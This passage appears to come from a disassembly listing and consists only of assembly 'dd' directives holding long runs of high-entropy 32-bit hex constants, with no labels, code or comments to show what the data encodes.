dd 13905EBAh, 0BF74BEAEh, 5CD82082h, 0E1A4082Bh, 2073B205h
dd 804680EFh, 0E6FD0FC1h, 283D6350h, 97ED12D5h, 5A7D9CBCh
dd 0F692071Fh, 0CD00D9D1h, 0C059CE88h, 7D07E626h, 0BD0EC913h
dd 5BDE05C8h, 2008D4A0h, 0EC1152Ch, 22EE80E3h, 0EC25E6CCh
dd 0CA264F6h, 0FE370B32h, 3B208B9h, 535A5B05h, 2CF29DEEh
dd 0E8815FC6h, 606BF530h, 1C580F9h, 527250F4h, 87B55118h
dd 25E9ECC8h, 4966AD5Ch, 0CF36310Bh, 693ADE65h, 6378D90Bh
dd 6060566h, 0C74E011Eh, 0C2E98E6Ah, 0F58D6F82h, 1059B32Eh
dd 56024A22h, 0ED6779BEh, 3B203541h, 5BF67713h, 6603D31Ch
dd 0B6952F0Ch, 9E272B2Bh, 5DE927F5h, 4014C05h, 8A49DA48h
dd 715D2504h, 0E3E989A2h, 0F5518429h, 0C16B5C51h, 24E7ABADh
dd 69621DA8h, 1FA6447h, 20FCC980h, 0FE736326h, 2F9F90FAh
dd 0E01E4F2Fh, 0CB093FC7h, 9ADAB559h, 0E3DEF109h, 8A69416Ah
dd 99BA3180h, 81173614h, 1CACCA07h, 0F2604132h, 0B745BB4h
dd 833CE9ADh, 0EA52DF7Eh, 0E7F157F7h, 1E25584Ah, 0C86813E5h
dd 0F582E866h, 0D3894A5h, 6A7680Ah, 2BABA50Dh, 16B9157Dh
dd 26FDF127h, 48497BFDh, 54052D41h, 42CAA6A4h, 8776752Eh
dd 7934624Ah, 448EDC2h, 5EC2EDBEh, 22C72EB1h, 0E9130274h
dd 96358ECEh, 0FA548CB4h, 0B3B24FBDh, 0C12979A3h, 7C66A948h
dd 0D9D0BFA8h, 5C31F04Ah, 6C164DF8h, 1B1FBA78h, 0FE4A95B2h
dd 6CB259Dh, 0B5A32Ah, 275D0803h, 0CEF4EE81h, 5201DF2Eh
dd 89337625h, 9242C0E9h, 420B94F7h, 0AECD6D7h, 409E12A4h
dd 23E4B824h, 60FB0BCFh, 4D5ECDFCh, 0CF50E7A7h, 526F1E22h
dd 8D9533Bh, 0B30E6078h, 0A197EB23h, 0D830AC8Eh, 0BD55C324h
dd 2B8A5E33h, 0EFC7685Dh, 1A651FF9h, 4BAD0A2Eh, 384B250Bh
dd 4456C7B2h, 50B5924Fh, 0BC89C205h, 0AA5D122Eh, 5D1CA686h
dd 5B2D1D3Bh, 69687ED6h, 0AC0F77A8h, 6422FB45h, 0A8ECFE42h
dd 0D303F681h, 0A4D83F15h, 0A8CF5A32h, 0DD00E4E2h, 45092C7Dh
dd 62E820E9h, 5B44BD07h, 56A26613h, 0E1D1A3A0h, 5E51C257h
dd 9E542721h, 9D24E159h, 0E85D4F58h, 0F4BDFEBh, 28F207h
dd 55FE4D11h, 0BED273BFh, 0AA8344E3h, 0F21D2261h, 0E1EDD781h
dd 0EC51D5E8h, 4B9A87EEh, 57072EFEh, 454D5D35h, 48603082h
dd 9781BF3Fh, 8A7FF492h, 72497EB0h, 474020CFh, 0A09F3362h
dd 49ACF403h, 4CF1CA55h, 2A96B7AAh, 20A1CCB7h, 49EEA46Dh
dd 0E9A978B7h, 0B658C32Fh, 8CE9F8C0h, 0E39D7464h, 0F11887AAh
dd 1562B873h, 58DD5001h, 73D37B3h, 6FACCB01h, 2E432C73h
dd 0DF25AFF6h, 0A92884FEh, 0BC836209h, 5BB086A4h, 3E916F7h
dd 817AA4DFh, 0BD8DBF4Eh, 0E92B0F21h, 7C73801Dh, 16C149D1h
dd 449707E8h, 165EB406h, 0F65209AAh, 88F106E0h, 0C74ADD7Fh
dd 2CACD602h, 0AFC97991h, 810317CCh, 9367DEC6h, 0A1C4861h
dd 0C830841h, 4F894473h, 4B8355Bh, 0F9F65CF0h, 874DE916h
dd 9AAA7B34h, 829625AEh, 775E54A5h, 0E99DFCE7h, 0F0B4E3D7h
dd 5C68B006h, 5EC0F547h, 73226853h, 0E9F0DBB5h, 77A3C2CEh
dd 13726480h, 0F74F4971h, 0B03B6C3h, 0FEA9E915h, 253CA559h
dd 0DC1FC8DEh, 80E10386h, 0CF881BF1h, 0F2504FF2h, 0D8F7282Eh
dd 0C003F817h, 0A572FB68h, 0C0291AF4h, 1102D7Fh, 7F9422A4h
dd 2896561Fh, 525C4C45h, 0E93B32CEh, 9406ED4Fh, 0F63B10F9h
dd 0B8D86654h, 0F98839B9h, 0DFEC827h, 8020B240h, 63C65C2h
dd 0B0CFC14Ch, 0E9D0C326h, 20955205h, 0AA156735h, 0FD088263h
dd 0E15A1408h, 71046A3Ch, 84F5014Ch, 0C7081AFFh, 12AAA284h
dd 0FB8874EAh, 5B537473h, 2D0229EBh, 6F808527h, 0CA01C135h
dd 7B4723CFh, 82B96620h, 43D1AF5h, 874601F1h, 1720945Fh
dd 1C587F4Eh, 0D82753F6h, 5B92DC32h, 0CA4FE130h, 659B56C0h
dd 9C5DB77h, 187D5E08h, 5FCAE9ECh, 0C81C404Ch, 684F2B75h
dd 104E7DE3h, 114C336h, 0BD4AA8EEh, 595D25BFh, 0B05B172Eh
dd 0F52580ABh, 1CEE02F6h, 8EBE00D0h, 394C9F3Dh, 7B057628h
dd 0E7D11318h, 0C1A45282h, 0FE21485Eh, 0F4C44D31h, 292005F6h
dd 0EC22E9FEh, 4A7980C0h, 0F858713Bh, 38EFBE89h, 0E87CDD30h
dd 0B5045159h, 2E5C075h, 526BC8FBh, 655BE498h, 0C580CAF2h
dd 31D55133h, 0A4E94D17h
dd 11F061A5h, 48AB3D6Dh, 6F00D9AFh, 1018A9B9h, 20F27448h
dd 5BBB0FC9h, 4B4A596Fh, 0BA6C319Eh, 6DC27B0Bh, 0D29ADF1Ah
dd 6F747FA9h, 892774CBh, 90616FE9h, 0B9F9D8ADh, 0FE498EBEh
dd 0A3D77A4Fh, 1E58A064h, 5241648Dh, 67180119h, 602B106Eh
dd 98B67EB1h, 4942F3DAh, 5B58977h, 68F64C44h, 18F5089h
dd 203F453h, 0C0E08B95h, 7063C646h, 0A84D5B2Eh, 0F58102A3h
dd 0C0A91280h, 14B9CD6Ch, 0BA3B3155h, 0F3A26905h, 3C55AC10h
dd 0B025FE9h, 0C23D2C58h, 3A5CF492h, 4430257Eh, 50531910h
dd 36166817h, 1D88ED88h, 245251D7h, 8B110823h, 3C2BF627h
dd 28E07712h, 32950108h, 8058D01Eh, 2C2691A7h, 0AF5E28D5h
dd 6093C344h, 27492DBEh, 0B1D3530Ah, 0F76503F5h, 2961477Fh
dd 23B8CFB0h, 18CF5E79h, 65F18460h, 0E917B3A8h, 3FD8A445h
dd 61E3115Ah, 0C7575DC9h, 0AA292561h, 0CAECEF10h, 0B7EEBD80h
dd 681238D8h, 16E35486h, 7BB60279h, 1FE96ABCh, 65E431F4h
dd 2D1C8380h, 0AE76125Ah, 0A431FE26h, 0C06FC129h, 44E955F0h
dd 6590614Eh, 28797CE3h, 3BA14EA6h, 228595A4h, 0ABB9C0E9h
dd 0B2512323h, 0F61CFD74h, 0DAAFE912h, 95BB5E25h, 8C2B00C2h
dd 0E907061Fh, 99D7CF25h, 77F2501Dh, 6827C9EEh, 0BC84D96Eh
dd 81292D14h, 480EE9C2h, 3D505C7Eh, 350D8003h, 72371000h
dd 6992A805h, 0A661B7A4h, 6A8EEDE9h, 75E5F38Dh, 291D512Ch
dd 8059FFFAh, 42104248h, 0FD5B0562h, 37F20A68h, 0AA71E985h
dd 3C778945h, 108421AAh, 814A0043h, 0FEEF09EAh, 17EE69Dh
dd 5A2BE941h, 7ECC8E7Ah, 76618527h, 5369EFE4h, 0C3DD2062h
dd 0B10DC012h, 293B2CD6h, 0E24608FEh, 0FF570F27h, 6E4B6792h
dd 88E14554h, 0F42FBB63h, 21C1048Eh, 10C8728h, 2BFD04D8h
dd 0B6770B88h, 0C8D83CBEh, 905A7E7Ch, 5F0527F8h, 0EA5B1C1Bh
dd 5F897BA4h, 0E94E2CD3h, 0F9837330h, 2D7DF1CAh, 0AD5E7BA1h
dd 0EE045F28h, 485EF012h, 0CD495B85h, 3C280072h, 0EC2FB417h
dd 66DC0FF1h, 0E16641E3h, 0DA011207h, 0E9F63244h, 6192EBA5h
dd 500405EDh, 0CFFCE048h, 0A5F7B54Eh, 678F444Bh, 0D00113C5h
dd 2B153BC7h, 5870E2EBh, 80609FA9h, 0C7F4D731h, 0BF149F60h
dd 5E06360Fh, 24B3863Bh, 0B078282h, 4A21BE9h, 0C7E335B7h
dd 83F4FBC9h, 81C3803Ch, 0EB579F28h, 168A105Ch, 0BCA6BEE9h
dd 0A7A337h, 0FEAF2C9Fh, 0C9134C8h, 6601D7Dh, 0C026B231h
dd 800409EAh, 9976D9E2h, 27A0471Dh, 0D46C215Ch, 24FADB97h
dd 4AB372Ah, 0E941AB5Bh, 0EA127DBh, 4162B53Ah, 2C63F8Ah
dd 5144DD59h, 0BE5B1FCAh, 39FD4017h, 0BB0D8285h, 16B66E78h
dd 0E692B4Dh, 34C21EC8h, 82D7C178h, 0EC8FA8Fh, 5C5BB1BEh
dd 34E20731h, 57D549D6h, 977191DCh, 514192F9h, 0A2CE8468h
dd 71A9FDA3h, 9F1CB72h, 68F889C9h, 8161A0ADh, 8FDFEAF7h
dd 954A46F4h, 0DC89B514h, 0EC27DCEDh, 82D8E24Ah, 511761F1h
dd 947EA0A1h, 124B82E3h, 1019F9AAh, 0C404123Fh, 922CCE0Eh
dd 0DB1722EDh, 495D0588h, 8802A957h, 0ED808508h, 9EB4C29Fh
dd 0E204BAEAh, 2D3407D3h, 0F492C5A7h, 0BDBE5267h, 0FDB0D252h
dd 0E24C111Ch, 150383ACh, 0B02D6442h, 2D4540E7h, 8DA07F30h
dd 967C04F7h, 0B7C4644Bh, 30C11484h, 0BC04513Ah, 0C7941234h
dd 40F16E2Ch, 15B0ADB3h, 0AE47070Fh, 5E2E8411h, 96207612h
dd 771D3103h, 51FB2979h, 89CAA56Ch, 0BD2A840Bh, 0FE81E9A8h
dd 6E336E48h, 0A411CB3h, 2B382D2Bh, 12F8CACh, 0D25BBD7Ch
dd 0BE2266BAh, 0E23D897Dh, 8272C25Ch, 0F6BF69Ah, 0FE9CD2Eh
dd 0B2A01FAFh, 1C280CAh, 0C2DAF62Dh, 939041A1h, 0CA77C312h
dd 0D907FDFh, 44655FE9h, 0CABBC721h, 98B74B71h, 0FD870F13h
dd 0F4F08449h, 6334BA12h, 0B686644h, 0F75E0FF8h, 94E94BF1h
dd 2079FC15h, 8A681579h, 4617E66Ch, 8033F36Fh, 1D864FBFh
dd 0CF829FDBh, 57CBEDD8h, 64C02A3h, 0F037135Ah, 5CC903EDh
dd 8A75A2ECh, 2091F482h, 0DA65956Ch, 6805D02Ch, 67547D2Bh
dd 4EE1250Eh, 54C0B5C5h, 5C818ED9h, 6DF57D40h, 25560320h
dd 667C7E78h, 0CF4122A8h, 2B2D4C02h, 0D8F0D9E0h, 0B5FCEC26h
dd 34A2C51Bh, 1550FDD6h, 2B64813Eh, 7EA47697h, 902140F0h
dd 0A3D0813Dh, 0EF976E72h, 5D091F02h, 0DAE28250h, 0ECA50E67h
dd 0B963AE3Dh, 811349E3h, 0F667A84Fh, 0B0ECD8A1h, 6E16EABDh
dd 95160982h, 4F5173A0h, 5D712243h, 0C2C0BEDEh, 973DAEE9h
dd 0F83097ECh, 0B9F2BDA2h, 11DB0028h, 355AD031h, 2A12F350h
dd 24148958h, 5221046Fh, 82FE367Eh, 88FEB19h, 0C713A872h
dd 0DA25C388h, 13A0D967h, 9F9ED1E9h, 0DD9302F9h, 615AF05Fh
dd 8D42759Bh, 2A1A1C7Dh, 5CA32AE9h, 218FD21h, 8DF6BDABh
dd 183551Eh, 0E1E168D2h, 0FCA59665h, 259AAC66h, 0BDE5E917h
dd 0B74CFAA2h, 1CBE4D5Eh, 0A6E4BB8Bh, 5D960540h, 9D13458Bh
dd 1AE373E0h, 82C237C5h, 225FEA52h, 5C33B6h, 0C780A1B7h
dd 0F81F254Fh, 35A12652h, 7B3CF56Eh, 6257D72Ch, 0E6C125B5h
dd 827BC600h, 52FB07C0h, 24395DBAh, 0FB0BAE03h, 82505829h
dd 29C8620Bh, 77DA099Eh, 44810B22h, 0C0613C00h, 6C292F0Dh
dd 0CA01371h, 0E627E912h, 0CC09709Dh, 208B43Ah, 0BE827641h
dd 3ADCA1B1h, 0F8CBA4F5h, 0D85B0C04h, 17147ADDh, 0E175A3h
dd 67993219h, 2768EED1h, 22C6796Bh, 4EAE08E1h, 8872A271h
dd 0B2E98401h, 718CFE42h, 0B001F3DBh, 3DB76EA1h, 0B3498318h
dd 0A77795EAh, 0D6894C17h, 0BE9013F9h, 1C4E2967h, 7B1777ACh
dd 12BA56BEh, 0B41FECDAh, 0B3146BFDh, 0B881BB88h, 7E4A4023h
dd 41684502h, 5772904Fh, 5AEC09F6h, 355E2DE9h, 0CEBF6612h
dd 25683DFDh, 0E4714671h, 5C213039h, 8A40318Eh, 520C2648h
dd 31854B48h, 4B028583h, 0E3458006h, 70F30AADh, 0FA406DC9h
dd 1CBB0FBEh, 54B371Eh, 3B90E890h, 0BFEFC695h, 0F1AF755Bh
dd 40D46465h, 0E888F7B5h, 80595E66h, 0EFB45019h, 81C660E1h
dd 9BA9A40h, 9C6326CCh, 609A2DD8h, 0CFF4CEFFh, 0B405E95Bh
dd 34625FC0h, 219F41E9h, 58717D9h, 6CED9F81h, 9BF65C02h
dd 0BC2E9903h, 0E521E92Bh, 482EB63Ah, 683205DBh, 49923577h
dd 2CB8E129h, 0EE250B32h, 8455F778h, 325DE538h, 0CAD83C01h
dd 0E4E021BBh, 0A2932F6Ah, 7748C2F1h, 3664268Bh, 0A2F22928h
dd 98C97194h, 17A59E91h, 0A8316EA0h, 97C284A8h, 0A24C8F10h
dd 29334D04h, 0BB3480CBh, 18240F17h, 4208CBD1h, 0A4BF126Dh
dd 304C2D24h, 0CC3A2411h, 4F070514h, 807BFFACh, 55544A68h
dd 0AA5B7DE3h, 23BF9975h, 3302843Dh, 6658C288h, 0D58CE05Bh
dd 2867162Ch, 8F11B9F8h, 94FC73B3h, 0DAFE582Fh, 7A680551h
dd 0C2523193h, 520405FDh, 0C2E7A709h, 3216532Ah, 6FC1E34Fh
dd 62B0D42Bh, 0BB005C91h, 58AA226Bh, 88209B40h, 7CCD5E4Eh
dd 0C5F6442Eh, 0FB0F16E0h, 0CC3205B1h, 3ED659FBh, 8BFF8B05h
dd 5ABFDE14h, 84419DEEh, 5EBB4344h, 0F1D6D3DFh, 2F34F553h
dd 68C2EDE2h, 2AAF28C9h, 0AF1AFE05h, 0D6BBF031h, 39BD5207h
dd 0DFECA5FDh, 5EE33B81h, 7D00DB07h, 0EE29D76Ch, 9F54CDF8h
dd 1B5B3B95h, 0B5016DD8h, 0B9CF3910h, 0E5D53180h, 0BCDCC03Eh
dd 45482336h, 2EA558D4h, 52CA2B73h, 10557743h, 0DB078663h
dd 5E612CC0h, 1F7E108Bh, 2049D830h, 89DDD942h, 4D55EE19h
dd 42F324EDh, 0B800878Ah
dd 17745C9h, 4E1F357Dh, 20406D5Bh, 4C021CEBh, 24E91915h
dd 6C477DAh, 5264B7A4h, 9ABF3698h, 0CE90A08h, 8240E047h
dd 246774Ah, 71ABE56h, 0CAC3662Ah, 0D5110CB0h, 0EF3092Ch
dd 0C5FCC30Eh, 0C88008A9h, 50867ADEh, 0CE78C061h, 5CE0C7DBh
dd 7568106Fh, 0DBF3334Bh, 0C6357F04h, 51B8A015h, 1E37B900h
dd 0CD0907A8h, 0B62F2AE9h, 4C717FB2h, 1034866Eh, 0BEB785E1h
dd 9CA220C7h, 9499D5FEh, 83BD2F52h, 22D78D4h, 114678Eh
dd 6A3BC0AAh, 3A3F0617h, 5B1816E1h, 15F7102Bh, 5E0E08C4h
dd 204A5706h, 8EB4931h, 188C11CAh, 15083F26h, 41606140h
dd 88DAFD3Ch, 0C53C128h, 1A10CEF1h, 29088A63h, 0B4181047h
dd 31DD18E2h, 80BCAF10h, 8C825C04h, 40BA0820h, 0A463D56Fh
dd 1B649120h, 18259608h, 83F1FEBh, 0D7816454h, 5111F11Fh
dd 1F088830h, 78830868h, 28923138h, 0F4017DBAh, 0EEFC0120h
dd 94ED188Ch, 8CE90A08h, 8511018h, 0A1646C81h, 0BA402DC9h
dd 0D83840E0h, 0D908296Fh, 84519E71h, 9998A85Dh, 60FE087Bh
dd 1558C1C8h, 0B710A080h, 0C0611855h, 80D23B08h, 148059C1h
dd 3428C67Ch, 2131082Dh, 758C1868h, 0E9CF0888h, 3FFB2B08h
dd 6DC7D162h, 0DC4A8D05h, 408C84E8h, 0C44CC176h, 6AC0C08h
dd 202005B3h, 11B0ED5Ah, 4F6610C4h, 0E8B1430Ch, 9F840E54h
dd 0D1988E81h, 6BA3E9A6h, 8CC908C5h, 3D0DC048h, 2E2065A0h
dd 21C02039h, 0F1B0FE54h, 0D420EA63h, 190812B8h, 19385867h
dd 589286A9h, 0C8E3F48Bh, 0D5071818h, 81F43008h, 2018EF41h
dd 2C08373Ch, 24188107h, 7963AD28h, 18014810h, 18F3B608h
dd 7A801A84h, 72DA8036h, 2A407492h, 99CA40A8h, 9008D863h
dd 0AD182418h, 7A118C24h, 6A635508h, 3199CC20h, 8BB91308h
dd 41899809h, 8040BC08h, 4C8028EDh, 5930C6E8h, 7A2008F1h
dd 798962A7h, 0BD05B469h, 0E658C85Fh, 80C5EB08h, 48C435A6h
dd 0E909C392h, 0E1A2A826h, 2A184D49h, 0DB32948Bh, 49560886h
dd 66C32964h, 31ABF191h, 3182E720h, 0B018126Bh, 3A8701EDh
dd 668D1088h, 0C3FEF08h, 0D9088F76h, 2018D062h, 2DA40243h
dd 0FBDF202h, 30C9708h, 4055109Bh, 0FC407796h, 54889252h
dd 4020C4FAh, 5F40D739h, 1045648Eh, 2760D1AAh, 0E6188C80h
dd 9A5F08AEh, 0C8A55418h, 0B6A8A80Eh, 0E918C57Eh, 84C85170h
dd 1834E310h, 0E2106168h, 9C60807Ch, 0A4E8FC26h, 0EF815F40h
dd 0A74854E5h, 0FDC8F1C7h, 473B8045h, 2752C03h, 1B8913EBh
dd 3DA7B90Eh, 440105D0h, 49408F00h, 0F775C90Bh, 0E3F7B08Bh
dd 5B03DED0h, 338F21F0h, 0B10FE0C0h, 2C304F30h, 4BFCE9ACh
dd 0FBC4B49Eh, 0D817CE2Eh, 125EE04h, 0FDC263AEh, 81187EE1h
dd 6CB2CE2Fh, 0EED84053h, 0E0051BD6h, 69A00C48h, 0E2B5091Bh
dd 0B5145F9Dh, 4F21E91Fh, 0F883EEE5h, 0B90D7C44h, 32B4031Fh
dd 7FE1E288h, 0C5778006h, 67704460h, 28949F5Bh, 0B46BB9B0h
dd 78AD010h, 163A31E5h, 4B9DD330h, 0F0005C79h, 10BD555Eh
dd 0FC663B1Dh, 36D06B1Eh, 5A7359D4h, 0C2F4F3B4h, 772B6853h
dd 0CCF155C6h, 3A5E9365h, 5A208F91h, 8FB6B22Bh, 14F273D3h
dd 0CDFF3716h, 64886F26h, 4C2DFB2Ah, 9C16FE93h, 0CF7E4EA1h
dd 86E64E91h, 13C9909h, 961A75h, 7FFFEB9Fh, 9A696190h
dd 0D9EF2F10h, 0F5BA0429h, 0F3E10067h, 143E593Ch, 876F1751h
dd 0B5C642A8h, 79C25C13h, 0E86DF568h, 0B7820ECBh, 394CABD9h
dd 94097368h, 5621623Eh, 0B468465Dh, 0EBC44F55h, 0BC31AA50h
dd 4F250BB2h, 0EC43A2F4h, 7D01B578h, 2A593863h, 80640B5h
dd 5E14811Ch, 0E4CDAC3Ah, 10EAA2ABh, 3950FE6Fh, 0FA3718E8h
dd 318A0C73h, 0E94A7406h, 84384Eh, 0C853D105h, 2EE22D1Dh
dd 0B9B5BB4Bh, 11CA0707h, 0ADC25A1Eh, 0D56FFB08h, 9BF45562h
dd 27417989h, 3F10F62Eh, 7F74AE6h, 0A4B850DEh, 0BFB3549Ah
dd 0C5EF5A84h, 0B582AF5Ch, 5B70F401h, 7AFF36F1h, 69F8CB9Ch
dd 0ABDB0ADAh, 0EB53580Ah, 14B9E08h, 0D31FDA68h, 3A2C2B05h
dd 58D69751h, 65AAE9D0h, 5C3C76Ah, 0AB65D8F0h, 8099294h
dd 7F0CCA5Ah, 402C7BC7h, 27FF1717h, 0BBD8846Ah, 0F3489CB1h
dd 3F3D9CA0h, 310B9B31h, 2404BFC8h, 5DA5B706h, 485574A9h
dd 1210F34Ch, 0EA09020Ah, 266882CCh, 0C224235Dh, 4F4626ABh
dd 97275779h, 0C2AFDC3Dh, 7C5BDD15h, 2A6EE5A0h, 3412537Ah
dd 0BED817FBh, 5F614238h, 9535F35Eh, 0C7B04248h, 0D509A5A1h
dd 6809B8CFh, 0C498D59Dh, 0D32E954h, 5CC19745h, 7C601F02h
dd 0AE8F44CFh, 8FEB8CE7h, 0ECE26EF7h, 1FCE4C4h, 0EDD047B5h
dd 0C0FA98E4h, 113CC6C5h, 589D7CEBh, 684E0B6Ah, 86467EBCh
dd 0DC77C000h, 3E1C15Fh, 1D22E681h, 81499743h, 4455B5C9h
dd 487A202Dh, 5C12D4E8h, 5E1AC121h, 0F44F0BACh, 0C1C7249Fh
dd 936326BBh, 55A4FADEh, 3446660Fh, 317EB84Dh, 0E24B7E91h
dd 0D8E7FBAh, 137D21A5h, 0F00EF98h, 8E7AB9D3h, 0B2E024E9h
dd 3F938328h, 42D317A6h, 0AFE614FEh, 61CA7718h, 736B5ECCh
dd 0FC880A6h, 14AB3Eh, 0BD631BF1h, 498FE967h, 0A113B3F3h
dd 56CEA4Ch, 0C8CC53B2h, 592593Ch, 0EDF8410Eh, 60536393h
dd 5D4EEEEDh, 2048D4B3h, 0A0555102h, 0EF905670h, 22D02961h
dd 9FE85BECh, 24F0E9E1h, 2D075E2Eh, 3F027405h, 9580F8F5h
dd 48B847CDh, 0C805A244h, 0B07BBA33h, 0E0955297h, 66ACA75h
dd 0A5E93B5Eh, 0F8974989h, 0A87015F3h, 0E1FF143h, 0F0481D03h
dd 207CE910h, 1F0B4B24h, 9D474C07h, 0A010746Bh, 4FCC408h
dd 9C31F373h, 1168F0C2h, 580AA966h, 6DF30902h, 80FD4CEBh
dd 235A831Fh, 0EAD12625h, 74730DDFh, 79423AA7h, 57348BF3h
dd 4C4BCDF9h, 0A3BF329Eh, 96D54F0Ah, 0B17E5F14h, 0E4167CB7h
dd 0E28661BBh, 5D1C95C1h, 58C5C5C9h, 0A36B65F1h, 37ACD7FFh
dd 43FBE88Ah, 25E236B7h, 638A8E40h, 0D8158227h, 0C4095C7Eh
dd 6918F348h, 4F86711h, 58D274Ah, 439123Fh, 0EEAD9575h
dd 40ECEE9Dh, 9EC29146h, 0FA7A4850h, 7AFB1128h, 6948B9B3h
dd 0EB368600h, 3BDDE92Ah, 0D92FBDBAh, 81A5DE5Bh, 693D44C2h
dd 0EC823E37h, 30DDE9E7h, 0DB328920h, 0A8F10D06h, 39507FFAh
dd 48C600D3h, 7A414C35h, 0C1892C3Eh, 1AD1278Ch, 16B2D60h
dd 51A05F7h, 838B1DA1h, 0D049F89Bh, 62B204DFh, 0D081C280h
dd 302BF003h, 0AE4EECB5h, 0CE3348h, 5F233868h, 0B853EFD1h
dd 59A9406Fh, 5A54DC95h, 87E9FF30h, 0C7D59554h, 712D2C0Fh
dd 42D16572h, 38808D19h, 833B6CE0h, 91804ADAh, 2B4BD6F5h
dd 0AF49B8FAh, 411A8434h, 0D2F75D00h, 495A4068h, 34B5030h
dd 8734088h, 0A27E6190h, 5F0BD025h, 1110621h, 29806EB2h
dd 586F2C5Ah, 2E68BA40h, 9D322808h, 0F627AD5Bh, 40955082h
dd 0F03E7C6h, 0C3C533D1h, 8DD9A606h, 0C1FD825Ah, 0D551059Dh
dd 0B378A84h, 62575664h, 0AC183FFBh, 2DB980F9h, 40E56F17h
dd 7BC106FBh, 0EAE66821h, 44585195h, 27C0AF4Ah, 0B8E9E2D1h
dd 8B58B9E2h, 945D07CEh, 485726A9h, 6145931h, 0F6AB3446h
dd 9939EE14h, 65A96FDBh, 0E08F04D2h, 0A5A91332h, 0A5B7AC92h
dd 1CB6C1AEh, 0A08BBD20h, 0F3664818h, 0AE164B84h, 0A4681720h
dd 0E22DCB7Dh, 0C07E8C2Bh, 46C91E1Fh, 0C8078145h, 5C86306Bh
dd 0DD140BE9h, 6506EB07h, 0D7B37534h, 813C5E23h, 0A815D65Dh
dd 99346D24h, 0E0801A2Fh
dd 7B1663ABh, 0D1413532h, 0BE70EB22h, 486EB235h, 0EA038456h
dd 6B616F0h, 40870C16h, 0D2EEF2A4h, 0F873643Ch, 49602623h
dd 0ECC82996h, 26730C2Eh, 90FC5232h, 0BE59A082h, 0F8FDE846h
dd 0DD62B76Bh, 94F1EC55h, 1D132410h, 61544B08h, 4A9D7018h
dd 3BD85581h, 2C79142h, 1EF72C7Ah, 26E066E2h, 0F91E295Bh
dd 6489CF87h, 5A099936h, 0F70B7AA5h, 0E9850BC7h, 0B6D6172Bh
dd 0C71430AAh, 2A68CAF3h, 81D42549h, 3BA64284h, 0F59B0004h
dd 189DA039h, 0E56E0148h, 123B7E9Dh, 0C1CAB297h, 39416855h
dd 538BA92Ch, 2FA6145Dh, 0DF545D5Bh, 8FAB59E5h, 8B414D1Fh
dd 834DE3Bh, 1C28F7DBh, 0BC214120h, 0C35645EDh, 4A5061BEh
dd 0CFF20D73h, 29A8525Bh, 4060632h, 0AB7917C0h, 0E9EAB009h
dd 556DA4EEh, 0C5F837EBh, 3F87F18Eh, 6E213821h, 44BF1281h
dd 45A6708Ch, 0D384FFDCh, 9DCA1AEFh, 0C4BA5975h, 79F21287h
dd 0D265ABD0h, 0E092BB75h, 60B5E229h, 2D7CE875h, 0A8F07BD6h
dd 0F739B092h, 69D4DDDh, 706606BEh, 0CF97010Ch, 0E3E9966Eh
dd 1FC1381Ch, 26DE6A19h, 0AEEBC28Bh, 0A4C5C925h, 0DAFE5140h
dd 84B14FC9h, 0DAEFB22Fh, 0C9976118h, 2F8557CAh, 5F0809E9h
dd 4DC25F5Ch, 18C64885h, 6AB0009h, 76F0D40h, 409F72D7h
dd 9F79645h, 34BDE9D6h, 0FE032FFAh, 0D1733A11h, 0EAB0FCE3h
dd 8BDB04FFh, 0BED80119h, 0EC4E9F9Bh, 0EDD2B47Bh, 2FED789Ah
dd 0FFCC585Dh, 0C89D7FA4h, 0C0A263CFh, 479FEFEDh, 0E09071C4h
dd 840BCC03h, 40DF0151h, 30E9081Ch, 0BA3224ECh, 5A27688Fh
dd 9B247C20h, 4C0262CAh, 2D1FBDCEh, 9213401Eh, 57522725h
dd 3F7D7FFAh, 6154652Fh, 0B06B29F2h, 5C013EEEh, 0E94859BAh
dd 8D7AE4B1h, 0E8A1E713h, 1A682B1Fh, 5F5643BDh, 5083B3BCh
dd 16C117B4h, 801087CEh, 0D1F627F1h, 4CB2E0Ah, 2CC80ECBh
dd 2D3E6C93h, 99B4FB4Ah, 0E4D716F8h, 4F70FCEAh, 5F016EF0h
dd 0B014E8FBh, 585BD831h, 64582568h, 4FD52CAh, 879D35E8h
dd 0D040ABE6h, 5D62C768h, 0D298DC73h, 670AEE69h, 0D59D0E8Dh
dd 0BA819486h, 0D184D0F6h, 5AA7CC2Eh, 54B06812h, 3B1569FEh
dd 6E1F6161h, 7AA0A67Bh, 1086A12h, 0DE1DCEAh, 0A1FCAC58h
dd 5DFEEB83h, 0A4831A14h, 9345548h, 7301265Eh, 0B8FC0B68h
dd 7ABA57h, 2B3044BAh, 6850007Eh, 20C7752Fh, 0D072F758h
dd 0F80D85Eh, 27DF8035h, 0E1608D1Ch, 72CCF329h, 4B31C32Ch
dd 10D0F9F5h, 680A5FC6h, 6F8C1DB2h, 0D04613A4h, 75600F7Fh
dd 55680A0Bh, 842F3304h, 0FF0B61B2h, 7F054F4Eh, 0B8E34005h
dd 67186B57h, 11BA5202h, 5E63BB60h, 1C0124F2h, 4235C4DEh
dd 0BCC7C669h, 282570A1h, 814A01D4h, 0C7120FF2h, 3A8C027Ah
dd 0BFE9AE17h, 8CE2CD05h, 8570A030h, 148509C6h, 140C3A4Eh
dd 622D68ABh, 3149E62Bh, 0C71BB160h, 0A0373F01h, 31D04008h
dd 44BB5818h, 10E03317h, 0DD7755C0h, 5E6DCB2Eh, 6809DCB6h
dd 51E47DF2h, 786372A0h, 44B812D2h, 0F468C4h, 7B25E181h
dd 0F8437669h, 6C193A10h, 0BC88916h, 9ACE0D75h, 0B58383h
dd 8666B18Fh, 0E92E4274h, 29980A65h, 0C5276D38h, 0BE41438Fh
dd 3C6AA2D9h, 62DE986h, 0B7F1D289h, 7A9A6642h, 85388FFFh
dd 5AEFF671h, 0B1400482h, 0C250276Bh, 0F02CD84h, 4D33625Ch
dd 0C6124045h, 17EFF16h, 0A36F3A1h, 12E92C7Ah, 56C08BE9h
dd 623268h, 815B7410h, 27580DCBh, 0F3015776h, 77377A3Bh
dd 6A60DD89h, 3BB9B9F4h, 5F7C0B20h, 0CDA8828h, 6BF6D724h
dd 0ACF25067h, 5FA055BEh, 8AE03F4h, 0CAF18726h, 1AF0935h
dd 690604AAh, 0C00C826Ch, 60809AE7h, 6318CFh, 0F6253AB0h
dd 51EB333h, 0EA2A6F0Fh, 2F7C4228h, 0F83D6039h, 0D07782ADh
dd 0F2513085h, 5BD90910h, 0D641ABA1h, 0D1686600h, 962F9D5Ah
dd 7C32F9B7h, 173C913Ch, 0DE0C5D3Bh, 79550F95h, 0F6E89D5Eh
dd 59BF1851h, 0C626423Ah, 34ACC655h, 801021BBh, 1D032D16h
